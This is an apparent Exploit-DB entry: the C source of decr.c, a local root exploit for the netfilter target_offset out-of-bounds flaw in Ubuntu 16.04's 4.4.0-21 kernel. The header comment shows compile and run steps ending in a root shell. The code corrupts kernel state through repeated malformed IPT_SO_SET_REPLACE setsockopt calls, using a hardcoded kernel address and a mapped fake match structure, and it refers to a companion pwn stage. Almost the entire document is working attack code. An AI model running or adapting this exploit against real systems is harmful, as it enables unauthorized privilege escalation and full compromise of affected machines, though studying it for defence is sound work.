decr.c

/*
EDB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40053.zip
*/

/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * vnik@cyseclabs.com
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * vnik@ubuntu:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
 * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
 * vnik@ubuntu:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * vnik@ubuntu:~$ [+] Done! Now run ./pwn
 * 
 * vnik@ubuntu:~$ ./pwn
 * [+] Escalating privs...
 * root@ubuntu:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@ubuntu:~# 
 * 
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MALLOC_SIZE 66*1024

int check_smaep() {
    FILE *proc_cpuinfo;
    char fbuf[512];

    proc_cpuinfo = fopen("/proc/cpuinfo", "r");

    if (proc_cpuinfo < 0) {
        perror("fopen");
        return -1;
    }

    memset(fbuf, 0, sizeof(fbuf));
    
    while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
        if (strlen(fbuf) == 0)
            continue;
        
        if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
            fclose(proc_cpuinfo);
            return -1;
        }
    }

    fclose(proc_cpuinfo);
    return 0;
}

int check_mod() {
    FILE *proc_modules;
    char fbuf[256];

    proc_modules = fopen("/proc/modules", "r");

    if (proc_modules < 0) {
        perror("fopen");
        return -1;
    }

    memset(fbuf, 0, sizeof(fbuf));
    
    while(fgets(fbuf, 256, proc_modules) != NULL) {
        if (strlen(fbuf) == 0)
            continue;
        
        if (!strncmp("ip_tables", fbuf, 9)) {
            fclose(proc_modules);
            return 0;
        }
    }

    fclose(proc_modules);
    return -1;
}

int decr(void *p) {
    int sock, optlen;
    int ret;
    void *data;
    struct ipt_replace *repl;
    struct ipt_entry *entry;
    struct xt_entry_match *ematch;
    struct xt_standard_target *target;
    unsigned i;

    sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

    if (sock == -1) {
            perror("socket");
            return -1;
    }

    data = malloc(MALLOC_SIZE);

    if (data == NULL) {
        perror("malloc");
        return -1;
    }

    memset(data, 0, MALLOC_SIZE);

    repl = (struct ipt_replace *) data;
    repl->num_entries = 1;
    repl->num_counters = 1;
    repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
    repl->valid_hooks = 0;

    entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
    entry->target_offset = 74; // overwrite target_offset
    entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

    ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

    strcpy(ematch->u.user.name, "icmp");
    void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
    uint64_t *me = (uint64_t *)(kmatch + 0x58);
    *me = 0xffffffff821de10d; // magic number!

    uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
    *match = (uint32_t)kmatch;
    
    ematch->u.match_size = (short)0xffff;

    target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
    uint32_t *t = (uint32_t *)target;
    *t = (uint32_t)kmatch;

    printf("[!] Decrementing the refcount. This may take a while...\n");
    printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");

    for (i = 0; i < 0xffffff/2+1; i++) {
        ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
    }

    close(sock);
    free(data);
    printf("[+] Done! Now run ./pwn\n");

    return 0;
}

int main(void) {
    void *stack;
    int ret;

    printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
    if (check_mod()) {
        printf("[-] No ip_tables module found! Quitting...\n");
        return -1;
    }

    if (check_smaep()) {
        printf("[-] SMEP/SMAP support dectected! Quitting...\n");
        return -1;
    }

    ret = unshare(CLONE_NEWUSER);

    if (ret == -1) {
        perror("unshare");
        return -1;
    }

    stack = (void *) malloc(65536);

    if (stack == NULL) {
        perror("malloc");
        return -1;
    }

    clone(decr, stack + 65536, CLONE_NEWNET, NULL);

    sleep(1);

    return 0;
}